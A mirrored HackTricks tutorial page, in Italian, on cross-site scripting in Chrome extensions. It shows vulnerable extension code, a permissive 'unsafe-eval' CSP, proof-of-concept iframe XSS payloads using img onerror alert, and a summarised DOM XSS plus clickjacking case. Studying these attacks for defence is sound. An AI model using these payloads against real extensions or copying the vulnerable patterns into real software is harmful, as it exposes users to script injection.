mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
122 lines
7.4 KiB
Markdown
122 lines
7.4 KiB
Markdown
# BrowExt - Esempio di XSS
|
||
|
||
{% hint style="success" %}
|
||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Supporta HackTricks</summary>
|
||
|
||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Cross-Site Scripting (XSS) tramite Iframe
|
||
|
||
In questa configurazione, un **content script** è implementato per istanziare un Iframe, incorporando un URL con parametri di query come sorgente dell'Iframe:
|
||
```javascript
|
||
chrome.storage.local.get("message", result => {
|
||
let constructedURL = chrome.runtime.getURL("message.html") +
|
||
"?content=" + encodeURIComponent(result.message) +
|
||
"&redirect=https://example.net/details";
|
||
frame.src = constructedURL;
|
||
});
|
||
```
|
||
Una pagina HTML accessibile pubblicamente, **`message.html`**, è progettata per aggiungere dinamicamente contenuto al corpo del documento in base ai parametri nell'URL:
|
||
```javascript
|
||
$(document).ready(() => {
|
||
let urlParams = new URLSearchParams(window.location.search);
|
||
let userContent = urlParams.get("content");
|
||
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
|
||
$('#detailBtn').on('click', () => {
|
||
let destinationURL = urlParams.get("redirect");
|
||
chrome.tabs.create({ url: destinationURL });
|
||
});
|
||
});
|
||
```
|
||
Un script malevolo viene eseguito sulla pagina di un avversario, modificando il parametro `content` della sorgente dell'Iframe per introdurre un **payload XSS**. Questo viene realizzato aggiornando la sorgente dell'Iframe per includere uno script dannoso:
|
||
```javascript
|
||
setTimeout(() => {
|
||
let targetFrame = document.querySelector("iframe").src;
|
||
let baseURL = targetFrame.split('?')[0];
|
||
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
|
||
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
|
||
|
||
document.querySelector("iframe").src = maliciousURL;
|
||
}, 1000);
|
||
```
|
||
Una Content Security Policy eccessivamente permissiva come:
|
||
```json
|
||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||
```
|
||
consente l'esecuzione di JavaScript, rendendo il sistema vulnerabile agli attacchi XSS.
|
||
|
||
Un approccio alternativo per provocare l'XSS prevede la creazione di un elemento Iframe e l'impostazione della sua sorgente per includere lo script dannoso come parametro `content`:
|
||
```javascript
|
||
let newFrame = document.createElement("iframe");
|
||
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
|
||
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
|
||
document.body.append(newFrame);
|
||
```
|
||
## DOM-based XSS + ClickJacking
|
||
|
||
Questo esempio è stato preso dal [post originale](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
|
||
|
||
Il problema principale deriva da una vulnerabilità di Cross-site Scripting (XSS) basata su DOM situata in **`/html/bookmarks.html`**. Il JavaScript problematico, parte di **`bookmarks.js`**, è dettagliato di seguito:
|
||
```javascript
|
||
$('#btAdd').on('click', function() {
|
||
var bookmarkName = $('#txtName').val();
|
||
if ($('.custom-button .label').filter(function() {
|
||
return $(this).text() === bookmarkName;
|
||
}).length) return false;
|
||
|
||
var bookmarkItem = $('<div class="custom-button">');
|
||
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
|
||
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
|
||
bookmarkItem.attr('data-title', bookmarkName);
|
||
bookmarkItem.data('timestamp', (new Date().getTime()));
|
||
$('section.bookmark-container .existing-items').append(bookmarkItem);
|
||
persistData();
|
||
});
|
||
```
|
||
Questo frammento recupera il **valore** dal campo di input **`txtName`** e utilizza **la concatenazione di stringhe per generare HTML**, che viene poi aggiunto al DOM utilizzando la funzione `.append()` di jQuery.
|
||
|
||
Tipicamente, la Content Security Policy (CSP) dell'estensione Chrome impedirebbe tali vulnerabilità. Tuttavia, a causa del **rilascio della CSP con ‘unsafe-eval’** e dell'uso dei metodi di manipolazione del DOM di jQuery (che impiegano [`globalEval()`](https://api.jquery.com/jquery.globaleval/) per passare script a [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) al momento dell'inserimento nel DOM), lo sfruttamento è ancora possibile.
|
||
|
||
Sebbene questa vulnerabilità sia significativa, il suo sfruttamento è solitamente condizionato all'interazione dell'utente: visitare la pagina, inserire un payload XSS e attivare il pulsante “Aggiungi”.
|
||
|
||
Per migliorare questa vulnerabilità, viene sfruttata una seconda vulnerabilità di **clickjacking**. Il manifesto dell'estensione Chrome mostra una politica `web_accessible_resources` estesa:
|
||
```json
|
||
"web_accessible_resources": [
|
||
"html/bookmarks.html",
|
||
"dist/*",
|
||
"assets/*",
|
||
"font/*",
|
||
[...]
|
||
],
|
||
```
|
||
Notabilmente, la pagina **`/html/bookmarks.html`** è soggetta a framing, quindi vulnerabile a **clickjacking**. Questa vulnerabilità viene sfruttata per incapsulare la pagina all'interno del sito di un attaccante, sovrapponendola con elementi DOM per ridisegnare l'interfaccia in modo ingannevole. Questa manipolazione porta le vittime a interagire involontariamente con l'estensione sottostante.
|
||
|
||
## Riferimenti
|
||
|
||
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|